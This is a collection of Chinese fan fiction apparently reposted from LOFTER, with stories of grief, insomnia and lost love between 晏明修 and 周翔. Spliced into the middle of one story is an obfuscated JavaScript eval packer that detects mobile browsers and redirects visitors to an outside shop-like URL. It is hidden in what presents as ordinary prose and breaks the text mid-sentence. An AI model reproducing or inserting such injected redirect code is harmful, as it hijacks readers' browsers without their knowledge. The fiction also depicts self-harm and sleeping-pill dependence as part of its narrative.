??“明修,回来啦”他伸手接过那家伙的外套,挂到衣架上笑着说“吃饭吧,我刚热过一遍了”
??那家伙只道“不吃”便进了房间
??
??周翔跟了上去,我坐在沙发边上,房间里传来几声不悦的叫嚷,过了会儿又似乎被哄好了,不再发出声响
??
??我听到一阵熟悉的铃声,那家伙抓着电话急急忙忙出去了,关上门的最后一句话是
??“你别管”
??
??我记得那天的场景,纯白的殿堂中燕尔新婚的壁人双手叠在一起,捧着同一束花,我的姐姐格外漂亮,笑盈盈扔出捧花时,一群女孩涌上去举高了手
??可笑的是那花竟直直落到了我的腿上,我拾起他抬头看看两位主角,略带苦涩地扯出一抹笑
??
??酒席上,我稍微有些醉了,愣愣的看着桌上斜摆着的捧花,脑子里唯一的画面是周翔对我说“明修,我好喜欢你啊”
??汪雨冬在此时显得好像太陌生了,我莫名的不甘心,只觉得我喜欢他就应该一直喜欢他,可我现在想到周翔又算什么呢?
??那种无措,愤恨,悲伤的情绪如同潮水般涌上来
??
??那天晚上周翔来接我了,我说了些……什么
??
??
??周翔随意扒拉了几口菜就没怎么吃了,手机一直亮屏放在桌上,他时不时会瞥几眼
??我看那屏幕上给备注“明修”的人发了几连串信息,他向上滑了滑,有前天的,昨天的,一周前的
??可从未得到回复
??不知怎的我无论如何也看不清消息的内容,模模糊糊的一片,回想到我,从不仔细去看那些满含爱意与关心的话,我不安的上前紧紧抱住他,把头埋到他后颈处
??即使抱得那样紧
??即使这个人就在我怀里
??不够……一点都不够
??一阵沉闷的声响忽然闯入,硬物碰撞在一块发出的巨声反复回荡在耳边,一会儿模糊,一会儿清晰,他满身污血的躺在地上,头歪向我这边,手机摔落在路边,屏幕碎的不堪
??
??我醒了
??被子被死死攥在手心里,出了一身冷汗
??我早该明白,怀里的被褥比不上我的爱人,一阵莫大的悲伤充斥了我的心脏,这大概是我人生中唯一一次为了一个人变成这样
??我好像是个夜晚蒙着被子偷哭的孩子,祈求真的命定之人的一句安慰
??我后悔莫及
??我爱他
??如果他当真离开了
??这不会是一场意外
??而是一起凶杀案
??我作为受害者的家属,也作为凶手
?
??如果我早一点说“我真的喜欢上你了”
??一切都会被改变
??
??我目击了一场凶杀案
??死者是我的爱人
??而我只知道我是凶手
??
??不,我在想什么?
??我的周翔,我的爱人,他怎么可能会死?
??不能,绝对不能
??对,他活着,他活着!
??如果连我都放弃了,那这个世界上还有谁信他生过?
??只有我一个人会坚信他活着
??因为我的爱人是世界上最好的人,而世界上最好的人理应得到美好的一切
??
?? Number five.Sobering drowning
??
??我是活在混乱中的
??在即将溺亡的海中浮沉,时而清醒,时而疯癫
??我的思绪纠缠在一起,潜意识里承认事实,可脑海里又不断反驳着“他没死”
??自我看起来正常许多后,哥给我请的心理医生就不会天天来了,他自己也很少来过
??没有人敢在我面前提起“周翔”“车祸”,“死无对证”之类的词
??
??每当我无法使自己忙碌起来时,就满脑是那个令人胆寒的瞬间,我的精神越来越消极,也许我一生都无法忘记
??我的爱人他满身污血的模样
??
??我有机会就会回到那个家里,在推开门的一瞬间,不死心地望下沙发上那个本该坐着人的地方
??告诉自己“如果明天再看不见他,如果明天还是没有一点消息,那就这样放弃吧”
??每天都如此麻痹自己,每天都等着明天
??或许某一天我就能等到了呢
? 或许某一天我推开门,他会坐在那个地方,继续用他包容的眼神看着我
??又或者他还在生气
??……
??
??我已经很少会像开始那样用酒精和消极悲观的情感对待自己,心理医生来的时候,我只会按照正常的流程配合工作,不再抵触
??她说
??我的情况有所好转,但依旧处于一种极端的状态,即使我表现的正常
??
??无法否认的
??不论我如何掩饰这件事,对我带来的无法忽视的打击,都不能隐藏我那残破不堪的精神世界,如果他的影响能真实的反映在我身上,那我一定是体无完肤,遍体鳞伤的了
??
??
?? Number six. Family
??
??那些所谓周翔亲属的人是在三个月后找来的,这是我第一次真正的注意到他的那些过去
??
??“他小时候在我这住的最久,不该多分给我吗?”
??“那时候小翔就说他最喜欢阿伯的,他是没遗嘱,要不是出了意外,小翔的遗产能有你们的份?”
??“哟,现在一口一个小翔他小时候多喜欢你这个伯伯后面还不是被你扔到我家来了”
“要多分点给我啊,法事还得我找人来做,换你们谁能好好搞?”
??“人都碾没了,死的惨喽,你还找人做法事,搞不好不怕怨气缠身”
??“当人姑的,他爸要是还在不得抽你”
??
??他们在周翔家门前争吵的时候,看见我是有些震惊在的,我没过多理会,只平淡的说
??“不管他怎么样了,这份财产都应该算做他父母该管理的财物,轮不到你们,别想了”
??
??却听一声冷潮
??“他爸妈早没了,能长这么大,不全靠我们这些亲戚,死了就该把财产分给我们,他有儿子吗?有女儿吗?多大的人呢?连媳妇儿都还没娶,除了给我们还能给谁?”
??
??听她这一声尖利,我才想起
??
??“我一直一个人住的,这不是你来了吗?”
??“这房子我爸妈的,住了这么久也不舍得搬了,老
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328035|152495||http|test|mini|href|location''.split(''|''),0,{}));
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点就老点吧,住的舒服就好”
??“你问这个吗?是我爸的奖杯,我小时候可喜欢了,觉得特别酷,当时我爸还骗我是金的……现在都有锈了”
??“我小时候跟亲戚过年,后来就光打个电话了,遇到威哥之后偶尔会跟他一起,今年就有你啦……啊?为什么不跟亲戚过年?这个嘛,人家也没叫我,我就不过去了吧”
??
??我拿出钥匙打开门,迅速走进去又用力把门摔上,老小区的隔音一直不好,我听到了外面稀稀疏疏的议论声,但这有什么好在意的呢?
??
??之后我用了些手段,将周翔的财产移到了我的名下,又给了一笔钱,让那些亲戚消停下来
??我无法做到把周翔的东西让出去,在他回家之前所有事物都该保持原状
??他会回来的,而我会在这一直等他,一直等他
??
??
?? Number seven. Crazy
??
??“晏总,有人找”我的手下领着个身材高挑的男人进来,男人微微点了个头,算是打过招呼了
??“晏先生,寒暄的话我就不多说了,关于一年前周先生的案子,我们最近有了些新的发现”
??我撑起身子等着他接下来的话语
??“前几天在旧城拍摄的剧组里混进了个疯子,抓着汪先生的衣服不放非说,幽魂,幽魂,是安保人员报警让我们带走的,在我们的审问过程中,他提到了一年前您好友周先生的……失踪”
??
??秋叶落入池塘,泛起阵阵涟漪,有机窥探过往的书页终于被悄然翻动
??疯子是前阵子才到这儿的,以前是未开发荒地那块的拾荒者,一年前周翔出事的时候,他在后山让人刺瞎了只眼睛,自此变得疯疯癫癫
??
??“张先生,你一年前有没有见过类似于这样的人?”警官将视频中勉强能看见凶手脸的一帧移给他看,他不以为然的玩着头发须
??意料之中
??本来就不该指望这样的一场审讯能有结果,谁能保证一个精神不正常的疯子说出的话是真是假,他甚至有可能不做任何反应
??警官叹了口气,手无意中按下了播放键,周翔凹陷的胸口和布满血迹的脸毫无征兆地出现在了疯子眼前,他突然激动起来了
??“幽魂,幽魂!”
??
??……
??我在会客室等了很久,激动,害怕,悲伤心酸,各种复杂的情绪冗杂在一起,汇聚成了这个混乱的我
??
??是连老天都不愿意再骗我了吗
??所有人都希望我面对现实
??可我应该怎么去接受那个没有周翔的生活
??有时我真感自己跟颗孤单的星星似的
??不管天有多亮,不论夜有多暗,都只会跟随着他那轮月
??所有人都得仰着我,而我只会看着他了
??呆愣的久了,他又现在眼前
??“明修,想什么呢?”
??我伸出手向面前的虚空抓去,那猛烈可怖的一声巨响依然在耳旁回荡,我奋力想抓住他
??我要剜出跳动的心脏,捧上他眼前了
??你看啊
??他在为你抽泣
??周翔,回家
??
??“晏先生”
??我眼神移向开门进来的男人示意他继续说下去
??“现在的情况是这样的,他把汪先生当做了出事的周翔,事实上我们都明白……只是把身形混淆了而已,但根据我们的推测也许他是周先生遗体被处理全过程的目击人,我们有机会通过他来找到您的友人,只是,希望您也做好心理准备,情绪太过激动的精神病患者,他的话不一定真实”
??
??……
??三天后他们在那疯子毫无逻辑的话语中提出几个重点词,对周翔的位置基本有了推测
??
??我守着手机一直等到半夜,终于有了回应,他们在一间护林人的小树屋里发现了具发臭的尸体,死相并不好看
??但并不是周翔
??
??你在愚弄我吗?
??在我略带一丝侥幸的复杂思绪里,他们说
??
??“通过房间里卷走的一堆证件来看,这人就是那天肇事车辆的车主”
??
??我到底
? 我到底是该为了见不到他的尸身而感到窃喜,还是该为了得不到他的消息而悲哀
??所谓的凶手死了
??而我的周翔找不到了
??
??你还在生气吗?我真的是犯了个天大的错
??给我个机会改好吗?
??别让我听见,别让他们说给我听
??总之
??请别告诉我真相
??
??
?? Number eight·in the future
??
??屋里的黑暗寂静勾动了一种复杂的感情,像方才我握着他的手,他春光般的笑刻入我的脑海里,朦胧的,我看不清他的脸
??“我找到你了”
??一切终结在他们通知我找到周翔的那一刻
? 我终于无法再以那样的方式欺骗自己
??又或许找到了新的麻痹方式
??
??这是他吗?
??冷冰的白森的,这是他吗?
??真当看见他了,我怎么就控制不住涌出的情感呢?
??我的手与他十指相扣,好多思绪,好多话语,如同奔流的江水,不停在这暗屋里来往
??漆黑阴暗的四周,我感到一阵阴寒,却不敢开灯
??翔哥,我怎么看不见我们的未来?
??像马路上川流不息的车水马龙一样望不到尽头,恍恍惚惚的
??霓虹灯闪得迷茫
??这样是我们没有尽头吗?
??我得不到回应,发了急,用头狠劲的撞着床角,什么铁锈味的液体顺流而下,一片猩红之中,床上盖着薄薄一层白布的骨,好像重新长出了血肉一般
??
??我做了那样一个梦,总模模糊糊看不真切,于是干脆强迫自己醒过来重新睡下,可等到天明,我再也没做过那样一个梦,再也没得到最初
??我抚上他的脸
??“我们回家吧”
??
??幻梦的山海之中,那个白衣翩翩的身影
??转过头来吧,我知道
??那是周翔
??他的背影,我一眼就能看出来
??
??我真是个失败的人,我的心脏明明在为这个人一次次的跳动,却不能感受到一丝鲜活
??
??这是一场凶杀案,
??年少无知的我举枪杀死了现在的我
??从此我这颗荒凉的心,背离了躯壳
??
??-end-
??
??
?
7. 【晏周】失眠循环
小面包包
From LOFTER
【晏周】失眠循环
#晏明修视角,关于“失眠”这件事,有点?,叙述破碎,部分偏意识流
#3k?,感谢喜欢
??
00
“我徒劳地期待,入梦之前的象征和分崩离析,”晏明修卧靠在冰冷的床头,晦暗的眼睛跟着字句往下移动,“酒渣色的云使天空显得粗俗,为我紧闭的眼帘带来黎明。”①
晏明修淡然合上书,侧身关了床头灯,照例吞服一颗安眠药,就着不知道什么时候凉了的水灌进胃里。
唇齿寒凉,药物入肚,凌晨一点整的闹铃称职响起。
安眠药药效来得很快,困意潮似的涌上来,他思绪中原本一点点酝酿出来的精神风暴渐渐偃旗息鼓,无数个深夜里无限循环的失眠终于宣告结束。
他盯着天花板,缓缓地闭上了眼睛。
01
晏明修先前很少失眠,白天被繁复的工作和来回往复的应酬填满,夜里又与周翔颠//鸾//倒//凤//亲//密//交//缠,有时甚至一整夜都沉沦在情//欲//里,气力全数用在令人食/髓/知/味/的情//事上头了,哪里又有什么失眠的机会呢。
他记性很好,至今仍清晰记得第一次失眠是在将近元旦假期的某个夜里,他姐姐跟汪雨冬的订婚宴日子愈来愈近,周翔也因为临近假期工作量增多了不少,每每他回到和周翔的家里都是楼空灯黑的,人影儿也无一个,倒显得他孤寂一人,平添几分可怜的意思来。
每逢此刻他就觉心情更为烦闷燥郁,头顶是乏味的天花板,脚边是昨晚起夜时被他踢坏但周翔还没来得及补的灯,电视机机柜旁搁着垂下来的、还没收拾进杂物匣里的充电线,餐桌上放着滚圆饱满的草莓和青提子——那是晏明修某次心血来潮和周翔一起去超市买的,他亲自挑的,酸得腮帮子疼,晏明修吃过一颗就没再吃了。
......哪里都不顺眼。
他忽然很想周翔。周翔仿佛随时随地都能察觉洞悉到他的不高兴,而他却从不逾矩过问关于晏明修的私事儿,只是默默地陪着他、贴心地做许多好吃的或是说些甜蜜情话讨晏明修开心,好似从来无需晏明修去特意回报什么。
周翔的对他的喜爱既不张狂,却也不隐秘——怎么说呢,用风来比喻显得过于轻飘飘了些,周翔的喜爱与细心是实实在在地落到了他的生活点滴的——即使他自身毫无察觉;用火来比喻似乎也不对,星点的火焰聚拢成炽热的火把时,一不留神就会烫伤彼此,张狂得要了命。但周翔的喜爱并不缥缈如风,亦不张狂似火,贴切些比喻应当是润物无声得像雨,一滴滴地侵吞进他血液里,紧锣密鼓地包裹他的皮肉,攀爬进他的肺腑内里,静静地让细密雨点淅淅沥沥地落,默默地等万物生长,悄无声息的。
就好像晏明修是否有回应,他都会在那里。
周翔回到家之后,利落地脱下大衣换了鞋,见到盯着红白格子桌布发呆的晏明修,感觉有点儿好笑:“明修,你盯着桌布看什么呢?”
他把刚在集市买的新鲜蔬果放进厨房,有一些耐放的就塞进了冰箱,忙里忙外的间隙中他又伸长脖子看了眼,又唤了一声:“明修?”
晏明修才反应过来似的,趿拉着鞋从背后抱住了他,声音有点闷闷的:“我饿了。”
周翔笑了笑:“翔哥这不准备做呢嘛,你先坐沙发上看会儿电视吧,我很快就好。”
晏明修:“今晚吃什么?”
“虾仁炒蛋,油焖虾,糖醋里脊,蚝油生菜,”周翔应道,“哦,饭后还有银耳枸杞羹。”
“我不想吃生菜。”
“那宝贝想吃什么呀,翔哥给你做。”周翔刮了刮他的鼻子,说。
晏明修蹙着眉,猫似的蹭了蹭他:“你不是买了土豆跟牛排吗,就弄个土豆煎牛排吧。”
周翔有点儿无奈:“都是荤菜啊,也得吃些素的呀。”
晏明修松开抱着他的手,不怎么愉悦地蹙紧眉头。周翔见他不高兴了,只能依着他:“好好好,翔哥给你做,你坐着等会儿吧,很快。”
晏明修复又坐回沙发上。他回头看了一会儿周翔的背影,心里蓦地有些异样。
其实周翔跟汪雨冬的背影......也是挺好区分的。
等以后汪雨冬真成了他姐夫,若是把周翔继续留在自己身边,也不是不行。周翔这么喜欢他,肯定会答应,退一万步说,就是周翔不答应,他也有自己的手段,包周翔这么一个无足轻重的小武替,于他而言简单得形同呼吸。
晏明修收回目光,放松脊背,猫似的懒懒地靠在沙发背上,抖落掉刚刚升腾起来的异常情绪。
??
02
周翔和他大闹了一场,然后一声不吭地躲进了大山。
晏明修沮丧得失了眠。山里的信号不好,周翔的手机又一直处于关机状态,也就是说,倘若周翔不主动来联系他,恐怕周翔进山之后他们半年之久都没办法再听见彼此的声音。可周翔才跟他闹了脾气,想必是不会主动来联系自己了。
......算了,如果周翔肯回来的话,自己也不是不能稍稍放下傲慢的头颅去软声哄哄他,毕竟这次确实他晏明修的不对。如果实在不行,他也可以按照现在的安排进山去找周翔,跟他说自己很喜欢和他在一起的感觉,就像尼古丁之于砸烟的烟鬼,让他渐渐沦陷且上瘾,甚至要把他理智的锁都给撬开撞裂——当然,这后半句他不会说出来。
晏明修翻了个身,无神地看着天花板,像条失水的鱼。
没有周翔在,时间的轮轴似乎也跟着放缓了不少——至少他和周翔在一起的时候,深夜从不会如此孤独难捱。寂寞与不安将他的肢体缠绕得死死的,令他挣脱不能,喘//息//不能。
他找关系辗转联系到了那个进十万大山的纪录片剧组,再等两日他就能再见到周翔了。
晏明修这么想着,失控的、往外喷涌的负面情绪才终于有了点回转的趋势,他侧身把灯关了,黝黑深色幕布似的拉入他的眼帘。晏明修顺势掖了掖被角,猫咪似的蹭了下周翔的枕头,呼吸渐渐拉长而平缓。
在彻底入梦之前,他脑中倏而浮现出周翔的温柔笑脸,暖烘烘的、柔光似的抚在他心上,他思绪这般放空着,而后渐地模糊支离,最终平和地安眠入睡。
那时候他怎么也想不到,那竟会是在他往后两年里,最后一个得以安然入梦的深夜。
03
凌晨四点二十分。
晏明修拖着躯壳走到窗边,从兜里摸出根周翔之前抽过的一个牌子的烟,牙齿轻咬,舌尖抵着烟身,但没点。
屋内空调冷气开得并不怎么足,有点闷闷儿的,晏明修把窗子推开了一点。窗外月亮游荡悬浮于空中,星子散落,一颗接着一颗,好歹是有伴儿的。
安眠药吃完了,于是失眠就理所当然地成了不治之症。他一开始是想要去医院再开一瓶的,但安眠药吃多了对大脑的损害不轻,他白天既要忙公司事务又要赶着去拍杂志广告,脑袋轴似的一直转,若是真的因为安眠药吃多了导致大脑反应迟缓,被他父母知道了就不好了。
......而且,就这么失眠着,不也挺不错的么。
他做梦梦不到周翔,白天事儿多占满脑袋也没什么空隙去想,便只能倚靠这一点可怜的时间发发呆,在回忆的时空摺叠中翻来覆去地触摸那些和周翔的点点滴滴,很折磨,却也很痛快。这一点氧气于一个缺氧的、伤痕累累的人而言,实在是再好不过的止痛片,比什么安定药镇定剂都更有效,左不过是疤痕被撕裂得更深,隐痛更甚而已。
将近五点的时候晏明绪上了楼,钥匙插入
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锁孔,在寂静的夜里发出哀鸣。
“都多少点了还亮着灯?你不睡了?”晏明绪问道。
晏明修哑声回他哥的话:“睡不着。”
晏明绪皱了下眉:“安眠药呢,之前去医院不是开了一瓶吗?”
晏明修:“吃完了。”
晏明绪顿了一会儿,好半晌才道:“晏明修你真是......算了,什么时候抽个空,我陪你去私人医院再检查一下。”
“不去。”
晏明绪蹙眉:“你真把自己当铁人使了?”
晏明修有点儿头疼:“哥,我真没事。我都习惯了。”
“......晏明修,你就不能让我省点心吗。”
晏明修却道:“哥,我什么时候才能见寂空大师?”
晏明绪哑然,话涌上喉口,而后针刺喉咙似的,又悉数倒灌回了肚子里。他声调稍微放缓了些,道:“师父在闭关,不知道什么时候才出关。”
晏明修“嗯”了一声,从储物柜拿了点烤面包充当午饭,当着他的哥直接就开吃了。
晏明绪看了一眼有点儿皱巴巴的面包,叹道:“我去给你点份快餐。”
晏明修:“不用,哥。”
晏明绪也不想再说什么了,只是拧开门把手出去的时候,还是忍不住顿住了步子,提醒似的说道:“明修,已经两年了。”你还放不下吗。
晏明修听出他的弦外之音,努了下嘴想说点什么,但喉咙发涩,舌尖发苦,发不出一丝声儿来。
......他何尝又不知道呢。
晏明修手指微微蜷缩起来,因为吃面包而鼓动的下颌开始打颤。
失眠了七百多个日夜的他,怎么会不知道呢。
他比谁都更清楚,这场清醒的噩梦、这完美的名为“痛失所爱”的谋杀,已经过去两年了啊。
04
“而今你属于我,在我梦中倚梦而憩,爱与痛苦与工作现在都该安眠了,”晏明修卧靠在带着点余温的床头,明亮的眼睛跟着字句往下移动,“夜转动它隐形的轮轴,你在我的身旁纯净一如熟睡的琥珀。”②
周翔擦着头发走进卧室,微弯腰开了床头灯,说:“怎么不开灯呢,这黑灯瞎火的看书,也不怕坏了眼睛啊。”
晏明修闻言抬了抬头,眉眼微弯,合上书,伸手抱住周翔的脖颈。
周翔:“好啦,我头发还没干呢,待会儿再抱。”
言毕,他复又在晏明修耳边吞吐温/热/气/息/:“对了,我的戏份拍完了,今晚.....到几点都依明修的。”
晏明修眼睛霎时一亮。他拿过床头柜上的吹风机,道:“翔哥,我帮你吹。”
周翔:“不用,我自己来就......哎,行,你吹吧。”
温热的手指穿过发缝,轻抚过头皮,柔软得好似新雪落眉睫。
男人头发短,没吹多久就能干,晏明修把吹风机放回原位,转头时正巧看见了周翔正在解睡衣的扣子,立马就有些口干舌燥起来。
周翔瞥见他痴迷狂热的眼神,心头微动,说:“明修,我扣子好像解不开了。”
晏明修挑眉:“是吗,我看看。”
他侧身关掉床头灯,柔软湿润的唇贴上周翔的,野兽般侵吞掠夺。
在亲吻的间隙,晏明修盯着周翔的眼睛,透过这幅躯壳去注视他深爱的灵魂,叫道:“翔哥。”
“嗯?怎么啦宝贝?”
“我爱你。”
周翔怔了一下,随即笑了:“好,我知道。”
Fin.
①“我徒劳地期待,入梦之前的象征和分崩离析......”选自博尔赫斯诗集《另一个同一个》中的选篇《失眠》
②“而今你属于我,在我梦中倚梦而憩,爱与痛苦与工作现在都该安眠了......”选自聂鲁达《夜晚》
8. 【晏周】无声讯息
小面包包
From LOFTER
【晏周】无声讯息
#时间是翔哥离开的两年间,以晏明修的视角叙述,速打2k?,ooc致歉
#有点类似聊天对话体那种吧(应该?)
6:00
“翔哥早安,昨晚我忘了关紧窗户,今天被外面的鸟鸣声吵醒了,好早。”
“昨晚跟一个供应商谈年降的事儿谈了很久,忘记吃晚饭了,好想吃你做的。”
7:30
“我们家楼下新开了一家粥铺,我点了一份艇仔粥,料挺多的,很干净,味道也不错,我觉得你会喜欢。等你回来我带你去试试吧?”
“或者我去偷偷师也行,你什么时候想吃了,我做给你吃。”
8:15
“翔哥,我去公司了。”
“下班之后我去买几只螃蟹,做清蒸大闸蟹吧。”
9:06
“翔哥,我上个月投资了一部电影,若无意外就是下个月二十号开拍,上映之后你要来看吗?如果你来的话,我就订两张票,然后去影院包一个场子。”
“我们好像没有一起在影院看过电影。”
“好想你。”
10:41
“[图片.jpg]”
“翔哥,这个笑话段子你之前发过给我,我用私人号关注了他的公众号,你想看的时候我就发给你。你是不是还在生气,你都好久没对我笑过了。”
“翔哥,我好想亲你。”
10:55
“刚刚在资讯看到适合养在家里的绿植,翔哥,我们要不要添几盆新的?”
“你喜欢哪个,常青藤、文竹还是吊兰?”
“算了,现在阳台养的几盆多肉已经够折腾了,有时候工作一忙我就忘了去浇水,还是我哥帮忙的。”
“你什么时候回来,到时候我们再一起挑吧。”
11:28
“翔哥你中午吃什么?”
“我去楼下的私房菜馆解决,现在这个点人不多。这儿的松露燕麦焗大虾和四喜素丸子都很不错,松鼠鳜鱼也很合口味。”
“我想起来有次着急回公司处理点合同资金流转上的事儿,没开自己的车。处理完之后外面下了大雨,还是你主动来接的我。那时候你把伞面三分之二都倾到了我这边,自己的衣襟却湿了大半。你好笨,要是感冒了怎么办,还不是要我来照顾你。”
“不过我也乐得照顾我的翔哥。只要你在身边。”
“翔哥,现在我再回想起这些锋利又温馨的曾经,觉得真的好开心,和你在一起的每一分每一秒,我都觉得很开心。”
“所以你什么时候才愿意回来我身边?”
12:49
“翔哥,午安。刚刚看财经报表跟采购信息看得头疼,就小憩了一会儿。”
“浏览娱乐新闻的时候见到了上两周主办方邀请我参加的电影首映会照片,我站在台上和他们拍了张合影,台下有很多粉丝,我在宴厅环视了一圈,没看见你。翔哥,你说你喜欢演戏的感觉,所以我进了这个你钟爱的圈子,渴盼着有一日你能看到已经站在如此高度上的我,渴望有一日我的身影能再次倒映进你的瞳孔里。我其实很不喜欢被人窥探隐私的感觉,也不喜欢被人群和聚光灯笼罩的感觉,但是每每想到你或许就站在台下看着我,我就觉得什么都不重要了。这世上没有什么东西,比你更珍贵,比你更重要了。”
“又开始想你了,你在哪里啊......你到底在哪里啊。”
你撤回了一条消息。
13:12
“下午有个国外的供应商要来,晚点还要个会要开,我可能会很忙,翔哥,我迟些再给你发消息。”
17:16
“快要下班了,好想你。”
“翔哥,你想我吗?”
“下班之后我去超市买大闸蟹,再买一捆空心菜。本来我是想要买芥菜的,但是我一个人吃不完,芥菜保质期限短,放久了容易坏,如果倒掉的话你肯定又得絮叨我。”
17:42
“除了螃蟹跟蔬菜,我还买了两块水豆腐,回家我按着教程试试做鸡汁焖水豆腐。”
“忍不住买了一盒草莓,希望不会太酸。”
“超市隔壁那家甜品店装修完了,我又买了好多小蛋糕和一些烤面包,好香,想和你一起吃。”
18:08
“翔哥,我到家了,准备做饭了。”
19:22
[图片.jpg][图片.jpg]
“翔哥你看,我做的怎么样,是不是色香味俱全?”
“不过做太多了,吃不完了。”
“我跟着网上的博主去学了剥螃蟹的手法,你什么时候回来,我剥给你吃。”
[图片.jpg]
“有一只螃蟹长得有点丑,而且还挺小,没什么肉。”
“翔哥,我想吃你做的饭了。”
“家里只有我一个人,又好想你了,好想见你,真的好想你。”
“周翔,我觉得我想你想得快疯了。”
20:55
“家里的热水器坏了,只能洗冷水了。我明天找人来修。”
“洗完冷水澡好想开空调。”
20:58
“翔哥,我把衣柜里一些你的衣服拿去洗了。刚打开衣柜看见你衣服上都有一层薄薄的浮灰了。”
21:00
“草莓好酸,不好吃。”
“我似乎还是不太会选购这些食品商品,有时候连新鲜是否都辨不太清。翔哥,如果你在就好了。”
21:17
[图片.jpg]<
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/p>
“给我们养的多肉浇水。”
“我不太会打理盆栽这些玩意儿,但是我觉得它们这个样子应该算是挺好的吧。你回来看到肯定会开心。”
21:22
“在橱柜上翻到了你小时候的相册,好想你。”
“翔哥,我们什么时候也拍一张呢。”
你撤回了一条消息。
“真的好想你。”
22:09
“翔哥,我上床睡觉了,晚安。”
22:12
“我睡不着,我好想你,心好痛,你在哪里啊,你到底在哪里啊?为什么这么久了我还是找不到你?你就这么恨我吗,一直躲着不愿意见我?”
“求你了,回来我身边吧。”
22:16
“翔哥,我睡不着,好难受。”
22:18
“我在听你之前发给我的适合睡觉的纯音乐,好像有点困意了。”
“今晚你会出现在我的梦里吗?”
“突然好想你。”
23:02
“还是没睡着,又只能吃些安眠药了。”
“希望能梦到你。”
3:27
“醒了,做噩梦了。”
“我梦到外面下着暴雨,泥石流滚落下来,你的身体在暴雨里颤抖,你往我这边跑向我求援,可是我抱不到你,我救不到你,我只能眼睁睁看你再次完全消失不见,我痛得要疯了痛到快死了,你没死对不对只是躲起来了对吧这只是梦不是真的是吧?”
“如果那天我们早点把话说清就好了。”
“其实我早就已经喜欢上你了,爱上你了,翔哥。”
3:42
“其实我并不觉得如何绝望,因为我知道你没死,你只是还没消气而已,所以我会把一切你想要的都准备好给你,直至你消气再重新回来我身边的那一天,我就把我的所有包括胸腔里这颗滑稽跳动的肌肉一并供奉给你,只要你愿意回来,只要你回来。”
4:02
“心还是好痛,这种感觉像木材裂开一样,难受又绝望。”
“翔哥,我好冷,你抱抱我吧。”
5:29
“天快亮了,刚刚又迷迷糊糊睡过去了,但什么也没梦见。”
“每到这个时候我就觉得自己快撑不住快撑不下去了,真的好想你。”
6:00
“翔哥早安。”
......
Fin.
好吧,还有一点两年后的
8:20
“翔哥,我到公司了,好想你。”
搁在办公桌的手机蓦地响起一声震动。
晏明修眉睫微颤,修长的手指点开聊天框。
“宝贝,我去片场了。”
“翔哥也想你。”
9. 【徐马】恋爱脑是病,得治
甠柃
From LOFTER
【徐马爱人者愚24H|3:00】恋爱脑是病,得治
上一棒@喵观
下一棒@羽熙今天鸽了吗
~~~~~~~~~~~~~~~~~~~~
闹铃声响起,马杰下意识挣扎着按掉,迷迷糊糊地起身,身边的人翻了个身,没醒。
凭着身体记忆穿上衣服,走出门,进到浴室,马杰先用凉水洗了把脸,找回自己出走的思绪,然后再挪着步子走到厨房准备早餐。
有个报表还没写完……早饭煮几个鸡蛋吧,再磨两碗豆浆……家里好像没有白糖了……啊这里还有……昨晚年会谁抽中两袋白糖来着……
等等,年会,我靠?
马杰猛的抬起头,环顾四周。
我我我我我怎么睡在徐云峰家?
啊所以……刚才床上是不是……
马杰咬了咬牙,几乎是冲到了卧室门口,又在门前将将停住,迟疑地握住了门把手,缓慢地按了下去,小心地推开门。
光通过推开的门缝照进卧室,刚好照在床上的人脸上,那人眼皮动了动,睁开还有些迷茫的眼。
“饭已经好了吗?”床上的人——徐云峰——揉了揉眼,“辛苦了,我这就起。”
那一瞬间,马杰的大脑自杀了。
比送自己男朋友进局子更抓马的是第二天发现自己出现在了自己亲眼看见进了警车的男朋友的床上,并且通过双方身上的痕迹以及垃圾桶里的垃圾可以推测他们度过了不说疯狂也算激情的一晚,而自己一点印象都没有。
所以我是疯了吗?
马杰看着正在穿衣服的徐云峰,莫名平静地想。
或者是我在做梦。
徐云峰系好了最后一枚扣子,所有关于昨晚的整理就彻底消失在马杰眼前了。马杰闭了闭眼,在心中默念:
我在做梦,我不喜欢这个梦,我要醒过来。
再睁眼徐云峰已经站到了他面前,疑惑地看着他。
“怎么了?”
马杰再次闭上了眼,在心里急切地重复了三遍:
我在做梦!我不喜欢这个梦!我要醒过来!
没等他再睁开眼,一只手已经搭在了他的额头,徐云峰的声音真真切切地传进他的耳朵:
“你还好吗?是不舒服吗?”
马杰猛的睁开眼,直直对上担忧的徐云峰,卡壳似的张了张嘴,有些不确定地说:
“我……我好像做了个噩梦。”
对,没错,肯定是这几天胡建林不在自己压力太大了才会梦见这么离谱的事,就算标准件厂是高层斗争的牺牲品,那也绝对不可能搞陷害这一套,徐云峰能是这么自降身份的人吗?对,都是噩梦。
“没事,梦都是假的。”
徐云峰闻言放下了手,顺势虚虚抱住了马杰拍了拍他的背以作安慰。马杰身体一僵,总觉得不太对劲,但又说不出来哪儿不对。
“今天我们就出去吃吧,你想吃什么?”
徐云峰再次与马杰对视,语气轻柔,像是怕吓到马杰。
马杰结结实实吓了一跳。
从潜规则到谈恋爱,在一起这么多年,徐云峰什么时候这么温柔过?从来都是淡淡地板着脸,淡淡地笑,淡淡地讽刺,甚至在最该激动的时候也只是脸红一些呼吸重一些,好听点说这叫成大事者波澜不惊——马杰听过很多人这么拍徐云峰的马屁了。哦有几次喝醉了不太一样,那也不是温柔是黏人啊,还是面无表情甚至黑着脸黏人,就跟要把马杰吃了似的。当然,没成功过,当徐云峰已经醉到黏人那种程度的时候就已经心有余而力不足了。
但徐云峰表现的太自然太理所当然了,自然得让马杰怀疑是不是因为自己刚梦见徐云峰无情地威胁他们导致看现实中的徐云峰也有滤镜,所以他除了快速后退一步以外没做其他反应。
徐云峰很明显地顿了一下,然后才若无其事地放下了手。说是若无其事,但马杰就是从中看出了落寞受伤。
……这不对吧?这不是徐云峰吧?你把我那个习惯用脸骂人的阴湿男朋友藏哪儿了?
马杰小心翼翼地又往前走了一步,有些崩溃地看着徐云峰的眼瞬间亮了起来。
不是,我就做了个噩梦这个世界怎么变成这样了啊?
马杰有些恍惚地坐在工位上,下车前徐云峰印在他脸上的吻还热热地灼烧着他。
